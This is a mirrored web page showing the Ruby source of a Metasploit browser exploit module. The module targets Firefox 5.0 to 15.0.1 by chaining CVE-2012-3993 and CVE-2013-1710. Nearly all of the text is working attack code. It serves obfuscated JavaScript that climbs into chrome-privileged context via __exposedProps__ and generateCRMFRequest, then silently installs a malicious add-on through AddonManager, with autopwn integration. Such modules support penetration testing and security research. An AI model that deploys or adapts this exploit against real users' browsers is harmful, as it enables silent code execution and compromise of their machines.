Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb
19664 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::BrowserExploitServer
10
include Msf::Exploit::Remote::BrowserAutopwn
11
include Msf::Exploit::Remote::FirefoxAddonGenerator
12
13
autopwn_info({
14
:ua_name => HttpClients::FF,
15
:ua_minver => "5.0",
16
:ua_maxver => "15.0.1",
17
:javascript => true,
18
:rank => NormalRanking
19
})
20
21
def initialize(info = {})
22
super(
23
update_info(
24
info,
25
'Name' => 'Firefox 5.0 - 15.0.1 __exposedProps__ XCS Code Execution',
26
'Description' => %q{
27
On versions of Firefox from 5.0 to 15.0.1, the InstallTrigger global, when given
28
invalid input, would throw an exception that did not have an __exposedProps__
29
property set. By re-setting this property on the exception object's prototype,
30
the chrome-based defineProperty method is made available.
31
32
With the defineProperty method, functions belonging to window and document can be
33
overridden with a function that gets called from chrome-privileged context. From here,
34
another vulnerability in the crypto.generateCRMFRequest function is used to "peek"
35
into the context's private scope. Since the window does not have a chrome:// URL,
36
the insecure parts of Components.classes are not available, so instead the AddonManager
37
API is invoked to silently install a malicious plugin.
38
},
39
'License' => MSF_LICENSE,
40
'Author' => [
41
'Mariusz Mlynski', # discovered CVE-2012-3993
42
'moz_bug_r_a4', # discovered CVE-2013-1710
43
'joev' # metasploit module
44
],
45
'DisclosureDate' => '2013-08-06',
46
'References' => [
47
['CVE', '2012-3993'], # used to install function that gets called from chrome:// (ff<15)
48
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=768101'],
49
['CVE', '2013-1710'], # used to peek into privileged caller's closure (ff<23)
50
],
51
'BrowserRequirements' => {
52
:source => 'script',
53
:ua_name => HttpClients::FF,
54
:ua_ver => lambda { |ver| ver.to_i.between?(5, 15) }
55
},
56
'Notes' => {
57
'Reliability' => UNKNOWN_RELIABILITY,
58
'Stability' => UNKNOWN_STABILITY,
59
'SideEffects' => UNKNOWN_SIDE_EFFECTS
60
}
61
)
62
)
63
64
register_options([
65
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ])
66
])
67
end
68
69
def on_request_exploit(cli, request, target_info)
70
if request.uri.match(/\.xpi$/i)
71
print_status("Sending the malicious addon")
72
send_response(cli, generate_addon_xpi(cli).pack, { 'Content-Type' => 'application/x-xpinstall' })
73
else
74
print_status("Sending HTML")
75
res = generate_html(target_info, request.headers['Host'])
76
vprint_status res.to_s
77
send_response_html(cli, res)
78
end
79
end
80
81
def generate_html(target_info, refer)
82
injection = if target_info[:ua_ver].to_i == 15
83
"Function.prototype.call.call(p.__defineGetter__,obj,key,runme);"
84
else
85
"p2.constructor.defineProperty(obj,key,{get:runme});"
86
end
87
88
if refer.nil? or refer.blank?
89
redirect = "#{get_module_uri}/addon.xpi"
90
else
91
proto = ((datastore['SSL']) ? 'https' : 'http')
92
redirect = "#{proto}://#{refer}#{get_module_resource}addon.xpi"
93
end
94
95
script = js_obfuscate %Q|
96
try{InstallTrigger.install(0)}catch(e){p=e;};
97
var p2=Object.getPrototypeOf(Object.getPrototypeOf(p));
98
p2.__exposedProps__={
99
constructor:'rw',
100
prototype:'rw',
101
defineProperty:'rw',
102
__exposedProps__:'rw'
103
};
104
var s = document.querySelector('#payload').innerHTML;
105
var q = false;
106
var register = function(obj,key) {
107
var runme = function(){
108
if (q) return;
109
q = true;
110
window.crypto.generateCRMFRequest("CN=Me", "foo", "bar", null, s, 384, null, "rsa-ex");
111
};
112
try {
113
#{injection}
114
} catch (e) {}
115
};
116
for (var i in window) register(window, i);
117
for (var i in document) register(document, i);
118
|
119
120
js_payload = js_obfuscate %Q|
121
if (!window.done) {
122
window.AddonManager.getInstallForURL(
123
'#{redirect}',
124
function(install) { install.install() },
125
'application/x-xpinstall'
126
);
127
window.done = true;
128
}
129
|
130
131
%Q|
132
<html>
133
<body>
134
#{datastore['CONTENT']}
135
<div id='payload' style='display:none'>
136
#{js_payload}
137
</div>
138
<script>
139
#{script}
140
</script>
141
</body>
142
</html>
143
|
144
end
145
end
146
147